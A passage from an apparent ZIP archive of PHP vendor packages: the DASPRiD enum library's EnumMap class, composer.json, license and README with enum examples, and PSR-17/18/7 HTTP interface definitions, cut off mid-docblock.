     *
     * @throws CloneNotSupportedException
     */
    final public function __clone()
    {
        throw new CloneNotSupportedException();
    }

    /**
     * Forbid serializing enums.
     *
     * @throws SerializeNotSupportedException
     */
    final public function __sleep() : array
    {
        throw new SerializeNotSupportedException();
    }

    /**
     * Forbid unserializing enums.
     *
     * @throws UnserializeNotSupportedException
     */
    final public function __wakeup() : void
    {
        throw new UnserializeNotSupportedException();
    }
}
PK
h�\ d�͟,�,#vendor/dasprid/enum/src/EnumMap.phpnu�[���<?php
declare(strict_types = 1);

namespace DASPRiD\Enum;

use DASPRiD\Enum\Exception\ExpectationException;
use DASPRiD\Enum\Exception\IllegalArgumentException;
use IteratorAggregate;
use Serializable;
use Traversable;

/**
 * A specialized map implementation for use with enum type keys.
 *
 * All of the keys in an enum map must come from a single enum type that is specified, when the map is created. Enum
 * maps are represented internally as arrays. This representation is extremely compact and efficient.
 *
 * Enum maps are maintained in the natural order of their keys (the order in which the enum constants are declared).
 * This is reflected in the iterators returned by the collection views {@see self::getIterator()} and
 * {@see self::values()}.
 *
 * Iterators returned by the collection views are not consistent: They may or may not show the effects of modifications
 * to the map that occur while the iteration is in progress.
 */
final class EnumMap implements Serializable, IteratorAggregate
{
    /**
     * The class name of the key.
     *
     * @var string
     */
    private $keyType;

    /**
     * The type of the value.
     *
     * @var string
     */
    private $valueType;

    /**
     * @var bool
     */
    private $allowNullValues;

    /**
     * All of the constants comprising the enum, cached for performance.
     *
     * @var array<int, AbstractEnum>
     */
    private $keyUniverse;

    /**
     * Array representation of this map. The ith element is the value to which universe[i] is currently mapped, or null
     * if it isn't mapped to anything, or NullValue if it's mapped to null.
     *
     * @var array<int, mixed>
     */
    private $values;

    /**
     * @var int
     */
    private $size = 0;

    /**
     * Creates a new enum map.
     *
     * @param string $keyType the type of the keys, must extend AbstractEnum
     * @param string $valueType the type of the values
     * @param bool $allowNullValues whether to allow null values
     * @throws IllegalArgumentException when key type does not extend AbstractEnum
     */
    public function __construct(string $keyType, string $valueType, bool $allowNullValues)
    {
        if (! is_subclass_of($keyType, AbstractEnum::class)) {
            throw new IllegalArgumentException(sprintf(
                'Class %s does not extend %s',
                $keyType,
                AbstractEnum::class
            ));
        }

        $this->keyType = $keyType;
        $this->valueType = $valueType;
        $this->allowNullValues = $allowNullValues;
        $this->keyUniverse = $keyType::values();
        $this->values = array_fill(0, count($this->keyUniverse), null);
    }

    public function __serialize(): array
    {
        $values = [];

        foreach ($this->values as $ordinal => $value) {
            if (null === $value) {
                continue;
            }

            $values[$ordinal] = $this->unmaskNull($value);
        }

        return [
            'keyType' => $this->keyType,
            'valueType' => $this->valueType,
            'allowNullValues' => $this->allowNullValues,
            'values' => $values,
        ];
    }

    public function __unserialize(array $data): void
    {
        $this->unserialize(serialize($data));
    }

    /**
     * Checks whether the map types match the supplied ones.
     *
     * You should call this method when an EnumMap is passed to you and you want to ensure that it's made up of the
     * correct types.
     *
     * @throws ExpectationException when supplied key type mismatches local key type
     * @throws ExpectationException when supplied value type mismatches local value type
     * @throws ExpectationException when the supplied map allows null values, abut should not
     */
    public function expect(string $keyType, string $valueType, bool $allowNullValues) : void
    {
        if ($keyType !== $this->keyType) {
            throw new ExpectationException(sprintf(
                'Callee expected an EnumMap with key type %s, but got %s',
                $keyType,
                $this->keyType
            ));
        }

        if ($valueType !== $this->valueType) {
            throw new ExpectationException(sprintf(
                'Callee expected an EnumMap with value type %s, but got %s',
                $keyType,
                $this->keyType
            ));
        }

        if ($allowNullValues !== $this->allowNullValues) {
            throw new ExpectationException(sprintf(
                'Callee expected an EnumMap with nullable flag %s, but got %s',
                ($allowNullValues ? 'true' : 'false'),
                ($this->allowNullValues ? 'true' : 'false')
            ));
        }
    }

    /**
     * Returns the number of key-value mappings in this map.
     */
    public function size() : int
    {
        return $this->size;
    }

    /**
     * Returns true if this map maps one or more keys to the specified value.
     */
    public function containsValue($value) : bool
    {
        return in_array($this->maskNull($value), $this->values, true);
    }

    /**
     * Returns true if this map contains a mapping for the specified key.
     */
    public function containsKey(AbstractEnum $key) : bool
    {
        $this->checkKeyType($key);
        return null !== $this->values[$key->ordinal()];
    }

    /**
     * Returns the value to which the specified key is mapped, or null if this map contains no mapping for the key.
     *
     * More formally, if this map contains a mapping from a key to a value, then this method returns the value;
     * otherwise it returns null (there can be at most one such mapping).
     *
     * A return value of null does not necessarily indicate that the map contains no mapping for the key; it's also
     * possible that hte map explicitly maps the key to null. The {@see self::containsKey()} operation may be used to
     * distinguish these two cases.
     *
     * @return mixed
     */
    public function get(AbstractEnum $key)
    {
        $this->checkKeyType($key);
        return $this->unmaskNull($this->values[$key->ordinal()]);
    }

    /**
     * Associates the specified value with the specified key in this map.
     *
     * If the map previously contained a mapping for this key, the old value is replaced.
     *
     * @return mixed the previous value associated with the specified key, or null if there was no mapping for the key.
     *               (a null return can also indicate that the map previously associated null with the specified key.)
     * @throws IllegalArgumentException when the passed values does not match the internal value type
     */
    public function put(AbstractEnum $key, $value)
    {
        $this->checkKeyType($key);

        if (! $this->isValidValue($value)) {
            throw new IllegalArgumentException(sprintf('Value is not of type %s', $this->valueType));
        }

        $index = $key->ordinal();
        $oldValue = $this->values[$index];
        $this->values[$index] = $this->maskNull($value);

        if (null === $oldValue) {
            ++$this->size;
        }

        return $this->unmaskNull($oldValue);
    }

    /**
     * Removes the mapping for this key frm this map if present.
     *
     * @return mixed the previous value associated with the specified key, or null if there was no mapping for the key.
     *               (a null return can also indicate that the map previously associated null with the specified key.)
     */
    public function remove(AbstractEnum $key)
    {
        $this->checkKeyType($key);

        $index = $key->ordinal();
        $oldValue = $this->values[$index];
        $this->values[$index] = null;

        if (null !== $oldValue) {
            --$this->size;
        }

        return $this->unmaskNull($oldValue);
    }

    /**
     * Removes all mappings from this map.
     */
    public function clear() : void
    {
        $this->values = array_fill(0, count($this->keyUniverse), null);
        $this->size = 0;
    }

    /**
     * Compares the specified map with this map for quality.
     *
     * Returns true if the two maps represent the same mappings.
     */
    public function equals(self $other) : bool
    {
        if ($this === $other) {
            return true;
        }

        if ($this->size !== $other->size) {
            return false;
        }

        return $this->values === $other->values;
    }

    /**
     * Returns the values contained in this map.
     *
     * The array will contain the values in the order their corresponding keys appear in the map, which is their natural
     * order (the order in which the num constants are declared).
     */
    public function values() : array
    {
        return array_values(array_map(function ($value) {
            return $this->unmaskNull($value);
        }, array_filter($this->values, function ($value) : bool {
            return null !== $value;
        })));
    }

    public function serialize() : string
    {
        return serialize($this->__serialize());
    }

    public function unserialize($serialized) : void
    {
        $data = unserialize($serialized);
        $this->__construct($data['keyType'], $data['valueType'], $data['allowNullValues']);

        foreach ($this->keyUniverse as $key) {
            if (array_key_exists($key->ordinal(), $data['values'])) {
                $this->put($key, $data['values'][$key->ordinal()]);
            }
        }
    }

    public function getIterator() : Traversable
    {
        foreach ($this->keyUniverse as $key) {
            if (null === $this->values[$key->ordinal()]) {
                continue;
            }

            yield $key => $this->unmaskNull($this->values[$key->ordinal()]);
        }
    }

    private function maskNull($value)
    {
        if (null === $value) {
            return NullValue::instance();
        }

        return $value;
    }

    private function unmaskNull($value)
    {
        if ($value instanceof NullValue) {
            return null;
        }

        return $value;
    }

    /**
     * @throws IllegalArgumentException when the passed key does not match the internal key type
     */
    private function checkKeyType(AbstractEnum $key) : void
    {
        if (get_class($key) !== $this->keyType) {
            throw new IllegalArgumentException(sprintf(
                'Object of type %s is not the same type as %s',
                get_class($key),
                $this->keyType
            ));
        }
    }

    private function isValidValue($value) : bool
    {
        if (null === $value) {
            if ($this->allowNullValues) {
                return true;
            }

            return false;
        }

        switch ($this->valueType) {
            case 'mixed':
                return true;

            case 'bool':
            case 'boolean':
                return is_bool($value);

            case 'int':
            case 'integer':
                return is_int($value);

            case 'float':
            case 'double':
                return is_float($value);

            case 'string':
                return is_string($value);

            case 'object':
                return is_object($value);

            case 'array':
                return is_array($value);
        }

        return $value instanceof $this->valueType;
    }
}
PK
h�\�a&���!vendor/dasprid/enum/composer.jsonnu�[���{
    "name": "dasprid/enum",
    "description": "PHP 7.1 enum implementation",
    "license": "BSD-2-Clause",
    "authors": [
        {
            "name": "Ben Scholzen 'DASPRiD'",
            "email": "mail@dasprids.de",
            "homepage": "https://dasprids.de/",
            "role": "Developer"
        }
    ],
    "keywords": [
        "enum",
        "map"
    ],
    "require": {
        "php": ">=7.1 <9.0"
    },
    "require-dev": {
        "phpunit/phpunit": "^7 | ^8 | ^9",
        "squizlabs/php_codesniffer": "*"
    },
    "autoload": {
        "psr-4": {
            "DASPRiD\\Enum\\": "src/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "DASPRiD\\EnumTest\\": "test/"
        }
    }
}
PK
h�\˷I�vendor/dasprid/enum/LICENSEnu�[���Copyright (c) 2017, Ben Scholzen 'DASPRiD'
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
PK
h�\5#�ttvendor/dasprid/enum/README.mdnu�[���# PHP 7.1 enums

[![Build Status](https://github.com/DASPRiD/Enum/actions/workflows/tests.yml/badge.svg)](https://github.com/DASPRiD/Enum/actions?query=workflow%3Atests)
[![Coverage Status](https://coveralls.io/repos/github/DASPRiD/Enum/badge.svg?branch=master)](https://coveralls.io/github/DASPRiD/Enum?branch=master)
[![Latest Stable Version](https://poser.pugx.org/dasprid/enum/v/stable)](https://packagist.org/packages/dasprid/enum)
[![Total Downloads](https://poser.pugx.org/dasprid/enum/downloads)](https://packagist.org/packages/dasprid/enum)
[![License](https://poser.pugx.org/dasprid/enum/license)](https://packagist.org/packages/dasprid/enum)

It is a well known fact that PHP is missing a basic enum type, ignoring the rather incomplete `SplEnum` implementation
which is only available as a PECL extension. There are also quite a few other userland enum implementations around,
but all of them have one or another compromise. This library tries to close that gap as far as PHP allows it to.

## Usage

### Basics

At its core, there is the `DASPRiD\Enum\AbstractEnum` class, which by default will work with constants like any other
enum implementation you might know. The first clear difference is that you should define all the constants as protected
(so nobody outside your class can read them but the `AbstractEnum` can still do so). The other even mightier difference
is that, for simple enums, the value of the constant doesn't matter at all. Let's have a look at a simple example:

```php
use DASPRiD\Enum\AbstractEnum;

/**
 * @method static self MONDAY()
 * @method static self TUESDAY()
 * @method static self WEDNESDAY()
 * @method static self THURSDAY()
 * @method static self FRIDAY()
 * @method static self SATURDAY()
 * @method static self SUNDAY()
 */
final class WeekDay extends AbstractEnum
{
    protected const MONDAY = null;
    protected const TUESDAY = null;
    protected const WEDNESDAY = null;
    protected const THURSDAY = null;
    protected const FRIDAY = null;
    protected const SATURDAY = null;
    protected const SUNDAY = null;
}
```

If you need to provide constants for either internal use or public use, you can mark them as either private or public,
in which case they will be ignored by the enum, which only considers protected constants as valid values. As you can
see, we specifically defined the generated magic methods in a class level doc block, so anyone using this class will
automatically have proper auto-completion in their IDE. Now since you have defined the enum, you can simply use it like
that:

```php
function tellItLikeItIs(WeekDay $weekDay)
{
    switch ($weekDay) {
        case WeekDay::MONDAY():
            echo 'Mondays are bad.';
            break;

        case WeekDay::FRIDAY():
            echo 'Fridays are better.';
            break;

        case WeekDay::SATURDAY():
        case WeekDay::SUNDAY():
            echo 'Weekends are best.';
            break;

        default:
            echo 'Midweek days are so-so.';
    }
}

tellItLikeItIs(WeekDay::MONDAY());
tellItLikeItIs(WeekDay::WEDNESDAY());
tellItLikeItIs(WeekDay::FRIDAY());
tellItLikeItIs(WeekDay::SATURDAY());
tellItLikeItIs(WeekDay::SUNDAY());
```

### More complex example

Of course, all enums are singletons, which are not cloneable or serializable. Thus you can be sure that there is always
just one instance of the same type. Of course, the values of constants are not completely useless, let's have a look at
a more complex example:

```php
use DASPRiD\Enum\AbstractEnum;

/**
 * @method static self MERCURY()
 * @method static self VENUS()
 * @method static self EARTH()
 * @method static self MARS()
 * @method static self JUPITER()
 * @method static self SATURN()
 * @method static self URANUS()
 * @method static self NEPTUNE()
 */
final class Planet extends AbstractEnum
{
    protected const MERCURY = [3.303e+23, 2.4397e6];
    protected const VENUS = [4.869e+24, 6.0518e6];
    protected const EARTH = [5.976e+24, 6.37814e6];
    protected const MARS = [6.421e+23, 3.3972e6];
    protected const JUPITER = [1.9e+27, 7.1492e7];
    protected const SATURN = [5.688e+26, 6.0268e7];
    protected const URANUS = [8.686e+25, 2.5559e7];
    protected const NEPTUNE = [1.024e+26, 2.4746e7];

    /**
     * Universal gravitational constant.
     *
     * @var float
     */
    private const G = 6.67300E-11;

    /**
     * Mass in kilograms.
     *
     * @var float
     */
    private $mass;

    /**
     * Radius in meters.
     *
     * @var float
     */
    private $radius;

    protected function __construct(float $mass, float $radius)
    {
        $this->mass = $mass;
        $this->radius = $radius;
    }

    public function mass() : float
    {
        return $this->mass;
    }

    public function radius() : float
    {
        return $this->radius;
    }

    public function surfaceGravity() : float
    {
        return self::G * $this->mass / ($this->radius * $this->radius);
    }

    public function surfaceWeight(float $otherMass) : float
    {
        return $otherMass * $this->surfaceGravity();
    }
}

$myMass = 80;

foreach (Planet::values() as $planet) {
    printf("Your weight on %s is %f\n", $planet, $planet->surfaceWeight($myMass));
}
```
PK
h�\"�7��8vendor/psr/http-client/src/NetworkExceptionInterface.phpnu�[���<?php

namespace Psr\Http\Client;

use Psr\Http\Message\RequestInterface;

/**
 * Thrown when the request cannot be completed because of network issues.
 *
 * There is no response object as this exception is thrown when no response has been received.
 *
 * Example: the target host name can not be resolved or the connection failed.
 */
interface NetworkExceptionInterface extends ClientExceptionInterface
{
    /**
     * Returns the request.
     *
     * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
     *
     * @return RequestInterface
     */
    public function getRequest(): RequestInterface;
}
PK
h�\��:���7vendor/psr/http-client/src/ClientExceptionInterface.phpnu�[���<?php

namespace Psr\Http\Client;

/**
 * Every HTTP client related exception MUST implement this interface.
 */
interface ClientExceptionInterface extends \Throwable
{
}
PK
h�\Ҟv��.vendor/psr/http-client/src/ClientInterface.phpnu�[���<?php

namespace Psr\Http\Client;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

interface ClientInterface
{
    /**
     * Sends a PSR-7 request and returns a PSR-7 response.
     *
     * @param RequestInterface $request
     *
     * @return ResponseInterface
     *
     * @throws \Psr\Http\Client\ClientExceptionInterface If an error happens while processing the request.
     */
    public function sendRequest(RequestInterface $request): ResponseInterface;
}
PK
h�\�E�uJJ8vendor/psr/http-client/src/RequestExceptionInterface.phpnu�[���<?php

namespace Psr\Http\Client;

use Psr\Http\Message\RequestInterface;

/**
 * Exception for when a request failed.
 *
 * Examples:
 *      - Request is invalid (e.g. method is missing)
 *      - Runtime request errors (e.g. the body stream is not seekable)
 */
interface RequestExceptionInterface extends ClientExceptionInterface
{
    /**
     * Returns the request.
     *
     * The request object MAY be a different object from the one passed to ClientInterface::sendRequest()
     *
     * @return RequestInterface
     */
    public function getRequest(): RequestInterface;
}
PK
h�\����$vendor/psr/http-client/composer.jsonnu�[���{
    "name": "psr/http-client",
    "description": "Common interface for HTTP clients",
    "keywords": ["psr", "psr-18", "http", "http-client"],
    "homepage": "https://github.com/php-fig/http-client",
    "license": "MIT",
    "authors": [
        {
            "name": "PHP-FIG",
            "homepage": "https://www.php-fig.org/"
        }
    ],
    "support": {
        "source": "https://github.com/php-fig/http-client"
    },
    "require": {
        "php": "^7.0 || ^8.0",
        "psr/http-message": "^1.0 || ^2.0"
    },
    "autoload": {
        "psr-4": {
            "Psr\\Http\\Client\\": "src/"
        }
    },
    "extra": {
        "branch-alias": {
            "dev-master": "1.0.x-dev"
        }
    }
}
PK
h�\z��#vendor/psr/http-client/CHANGELOG.mdnu�[���# Changelog

All notable changes to this project will be documented in this file, in reverse chronological order by release.

## 1.0.3

Add `source` link in composer.json. No code changes.

## 1.0.2

Allow PSR-7 (psr/http-message) 2.0. No code changes.

## 1.0.1

Allow installation with PHP 8. No code changes.

## 1.0.0

First stable release. No changes since 0.3.0.

## 0.3.0

Added Interface suffix on exceptions
 
## 0.2.0 

All exceptions are in `Psr\Http\Client` namespace

## 0.1.0

First release
PK
h�\�S�==vendor/psr/http-client/LICENSEnu�[���Copyright (c) 2017 PHP Framework Interoperability Group

Permission is hereby granted, free of charge, to any person obtaining a copy 
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights 
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 
copies of the Software, and to permit persons to whom the Software is 
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in 
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PK
h�\�F�%% vendor/psr/http-client/README.mdnu�[���HTTP Client
===========

This repository holds all the common code related to [PSR-18 (HTTP Client)][psr-url].

Note that this is not a HTTP Client implementation of its own. It is merely abstractions that describe the components of a HTTP Client.

The installable [package][package-url] and [implementations][implementation-url] are listed on Packagist.

[psr-url]: https://www.php-fig.org/psr/psr-18
[package-url]: https://packagist.org/packages/psr/http-client
[implementation-url]: https://packagist.org/providers/psr/http-client-implementation
PK
h�\��DhEE3vendor/psr/http-factory/src/UriFactoryInterface.phpnu�[���<?php

namespace Psr\Http\Message;

interface UriFactoryInterface
{
    /**
     * Create a new URI.
     *
     * @param string $uri
     *
     * @return UriInterface
     *
     * @throws \InvalidArgumentException If the given URI cannot be parsed.
     */
    public function createUri(string $uri = ''): UriInterface;
}
PK
h�\Bj�hh<vendor/psr/http-factory/src/UploadedFileFactoryInterface.phpnu�[���<?php

namespace Psr\Http\Message;

interface UploadedFileFactoryInterface
{
    /**
     * Create a new uploaded file.
     *
     * If a size is not provided it will be determined by checking the size of
     * the file.
     *
     * @see http://php.net/manual/features.file-upload.post-method.php
     * @see http://php.net/manual/features.file-upload.errors.php
     *
     * @param StreamInterface $stream Underlying stream representing the
     *     uploaded file content.
     * @param int|null $size in bytes
     * @param int $error PHP file upload error
     * @param string|null $clientFilename Filename as provided by the client, if any.
     * @param string|null $clientMediaType Media type as provided by the client, if any.
     *
     * @return UploadedFileInterface
     *
     * @throws \InvalidArgumentException If the file resource is not readable.
     */
    public function createUploadedFile(
        StreamInterface $stream,
        ?int $size = null,
        int $error = \UPLOAD_ERR_OK,
        ?string $clientFilename = null,
        ?string $clientMediaType = null
    ): UploadedFileInterface;
}
PK
h�\X��""8vendor/psr/http-factory/src/ResponseFactoryInterface.phpnu�[���<?php

namespace Psr\Http\Message;

interface ResponseFactoryInterface
{
    /**
     * Create a new response.
     *
     * @param int $code HTTP status code; defaults to 200
     * @param string $reasonPhrase Reason phrase to associate with status code
     *     in generated response; if none is provided implementations MAY use
     *     the defaults as suggested in the HTTP specification.
     *
     * @return ResponseInterface
     */
    public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface;
}
PK
h�\�yۜ��6vendor/psr/http-factory/src/StreamFactoryInterface.phpnu�[���<?php

namespace Psr\Http\Message;

interface StreamFactoryInterface
{
    /**
     * Create a new stream from a string.
     *
     * The stream SHOULD be created with a temporary resource.
     *
     * @param string $content String content with which to populate the stream.
     *
     * @return StreamInterface
     */
    public function createStream(string $content = ''): StreamInterface;

    /**
     * Create a stream from an existing file.
     *
     * The file MUST be opened using the given mode, which may be any mode
     * supported by the `fopen` function.
     *
     * The `$filename` MAY be any string supported by `fopen()`.
     *
     * @param string $filename Filename or stream URI to use as basis of stream.
     * @param string $mode Mode with which to open the underlying filename/stream.
     *
     * @return StreamInterface
     * @throws \RuntimeException If the file cannot be opened.
     * @throws \InvalidArgumentException If the mode is invalid.
     */
    public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface;

    /**
     * Create a new stream from an existing resource.
     *
     * The stream MUST be readable and may be writable.
     *
     * @param resource $resource PHP resource to use as basis of stream.
     *
     * @return StreamInterface
     */
    public function createStreamFromResource($resource): StreamInterface;
}
PK
h�\rT�X��7vendor/psr/http-factory/src/RequestFactoryInterface.phpnu�[���<?php

namespace Psr\Http\Message;

interface RequestFactoryInterface
{
    /**
     * Create a new request.
     *
     * @param string $method The HTTP method associated with the request.
     * @param UriInterface|string $uri The URI associated with the request. If
     *     the value is a string, the factory MUST create a UriInterface
     *     instance based on it.
     *
     * @return RequestInterface
     */
    public function createRequest(string $method, $uri): RequestInterface;
}
PK
h�\BH�A��=vendor/psr/http-factory/src/ServerRequestFactoryInterface.phpnu�[���<?php

namespace Psr\Http\Message;

interface ServerRequestFactoryInterface
{
    /**
     * Create a new server request.
     *
     * Note that server-params are taken precisely as given - no parsing/processing
     * of the given values is performed, and, in particular, no attempt is made to
     * determine the HTTP method or URI, which must be provided explicitly.
     *
     * @param string $method The HTTP method associated with the request.
     * @param UriInterface|string $uri The URI associated with the request. If
     *     the value is a string, the factory MUST create a UriInterface
     *     instance based on it.
     * @param array $serverParams Array of SAPI parameters with which to seed
     *     the generated request instance.
     *
     * @return ServerRequestInterface
     */
    public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface;
}
PK
h�\��O%vendor/psr/http-factory/composer.jsonnu�[���{
    "name": "psr/http-factory",
    "description": "PSR-17: Common interfaces for PSR-7 HTTP message factories",
    "keywords": [
        "psr",
        "psr-7",
        "psr-17",
        "http",
        "factory",
        "message",
        "request",
        "response"
    ],
    "license": "MIT",
    "authors": [
        {
            "name": "PHP-FIG",
            "homepage": "https://www.php-fig.org/"
        }
    ],
    "support": {
        "source": "https://github.com/php-fig/http-factory"
    },
    "require": {
        "php": ">=7.1",
        "psr/http-message": "^1.0 || ^2.0"
    },
    "autoload": {
        "psr-4": {
            "Psr\\Http\\Message\\": "src/"
        }
    },
    "extra": {
        "branch-alias": {
            "dev-master": "1.0.x-dev"
        }
    }
}
PK
h�\�}]�((vendor/psr/http-factory/LICENSEnu�[���MIT License

Copyright (c) 2018 PHP-FIG

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
PK
h�\z�wf,,!vendor/psr/http-factory/README.mdnu�[���HTTP Factories
==============

This repository holds all interfaces related to [PSR-17 (HTTP Factories)][psr-url].

Note that this is not a HTTP Factory implementation of its own. It is merely interfaces that describe the components of a HTTP Factory.

The installable [package][package-url] and [implementations][implementation-url] are listed on Packagist.

[psr-url]: https://www.php-fig.org/psr/psr-17/
[package-url]: https://packagist.org/packages/psr/http-factory
[implementation-url]: https://packagist.org/providers/psr/http-factory-implementation
PK
h�\iP:^:(:(6vendor/psr/http-message/src/ServerRequestInterface.phpnu�[���<?php

namespace Psr\Http\Message;

/**
 * Representation of an incoming, server-side HTTP request.
 *
 * Per the HTTP specification, this interface includes properties for
 * each of the following:
 *
 * - Protocol version
 * - HTTP method
 * - URI
 * - Headers
 * - Message body
 *
 * Additionally, it encapsulates all data as it has arrived to the
 * application from the CGI and/or PHP environment, including:
 *
 * - The values represented in $_SERVER.
 * - Any cookies provided (generally via $_COOKIE)
 * - Query string arguments (generally via $_GET, or as parsed via parse_str())
 * - Upload files, if any (as represented by $_FILES)
 * - Deserialized body parameters (generally from $_POST)
 *
 * $_SERVER values MUST be treated as immutable, as they represent application
 * state at the time of request; as such, no methods are provided to allow
 * modification of those values. The other values provide such methods, as they
 * can be restored from $_SERVER or the request body, and may need treatment
 * during the application (e.g., body parameters may be deserialized based on
 * content type).
 *
 * Additionally, this interface recognizes the utility of introspecting a
 * request to derive and match additional parameters (e.g., via URI path
 * matching, decrypting cookie values, deserializing non-form-encoded body
 * content, matching authorization headers to users, etc). These parameters
 * are stored in an "attributes" property.
 *
 * Requests are considered immutable; all methods that might change state MUST
 * be implemented such that they retain the internal state of the current
 * message and return an instance that contains the changed state.
 */
interface ServerRequestInterface extends RequestInterface
{
    /**
     * Retrieve server parameters.
     *
     * Retrieves data related to the incoming request environment,
     * typically derived from PHP's $_SERVER superglobal. The data IS NOT
     * REQUIRED to originate from $_SERVER.
     *
     * @return array
     */
    public function getServerParams(): array;

    /**
     * Retrieve cookies.
     *
     * Retrieves cookies sent by the client to the server.
     *
     * The data MUST be compatible with the structure of the $_COOKIE
     * superglobal.
     *
     * @return array
     */
    public function getCookieParams(): array;

    /**
     * Return an instance with the specified cookies.
     *
     * The data IS NOT REQUIRED to come from the $_COOKIE superglobal, but MUST
     * be compatible with the structure of $_COOKIE. Typically, this data will
     * be injected at instantiation.
     *
     * This method MUST NOT update the related Cookie header of the request
     * instance, nor related values in the server params.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated cookie values.
     *
     * @param array $cookies Array of key/value pairs representing cookies.
     * @return static
     */
    public function withCookieParams(array $cookies): ServerRequestInterface;

    /**
     * Retrieve query string arguments.
     *
     * Retrieves the deserialized query string arguments, if any.
     *
     * Note: the query params might not be in sync with the URI or server
     * params. If you need to ensure you are only getting the original
     * values, you may need to parse the query string from `getUri()->getQuery()`
     * or from the `QUERY_STRING` server param.
     *
     * @return array
     */
    public function getQueryParams(): array;

    /**
     * Return an instance with the specified query string arguments.
     *
     * These values SHOULD remain immutable over the course of the incoming
     * request. They MAY be injected during instantiation, such as from PHP's
     * $_GET superglobal, or MAY be derived from some other value such as the
     * URI. In cases where the arguments are parsed from the URI, the data
     * MUST be compatible with what PHP's parse_str() would return for
     * purposes of how duplicate query parameters are handled, and how nested
     * sets are handled.
     *
     * Setting query string arguments MUST NOT change the URI stored by the
     * request, nor the values in the server params.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated query string arguments.
     *
     * @param array $query Array of query string arguments, typically from
     *     $_GET.
     * @return static
     */
    public function withQueryParams(array $query): ServerRequestInterface;

    /**
     * Retrieve normalized file upload data.
     *
     * This method returns upload metadata in a normalized tree, with each leaf
     * an instance of Psr\Http\Message\UploadedFileInterface.
     *
     * These values MAY be prepared from $_FILES or the message body during
     * instantiation, or MAY be injected via withUploadedFiles().
     *
     * @return array An array tree of UploadedFileInterface instances; an empty
     *     array MUST be returned if no data is present.
     */
    public function getUploadedFiles(): array;

    /**
     * Create a new instance with the specified uploaded files.
     *
     * This method MUST be implemented in such a way as to retain the
     * immutability of the message, and MUST return an instance that has the
     * updated body parameters.
     *
     * @param array $uploadedFiles An array tree of UploadedFileInterface instances.
     * @return static
     * @throws \InvalidArgumentException if an invalid structure is provided.
     */
    public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface;

    /**
     * Retrieve any parameters provided in the request body.
     *
     * If the request Content-Type is either application/x-www-form-urlencoded
     * or multipart/form-data, and the request method is POST, this method MUST
     * return the contents of $_POST.
     *
     * Otherwise, this method may return any results of deserializing
     * the request body content; as parsing returns structured content, the
     * potential types MUST be arrays or objects only. A null value indicates
     * the absence of body content.
     *
     * @return null|array|object The deserialized body parameters, if any.
     *     These will typically be an array or object.
     */
    public function getParsedBody();

    /**
     * Return an instance with the specified body parameters.
     *
     * These MAY be injected during instantiation.
     *
     * If the request Content-Type is either application/x-www-form-urlencoded
     * or multipart/form-data, and the request method is POST, use this method
     * ONLY to inject the contents of $_POST.
     *
     * The data IS NOT REQUIRED to come from $_POST, but MUST be the results of
     * deserializing the request body content. Deserialization/parsing returns
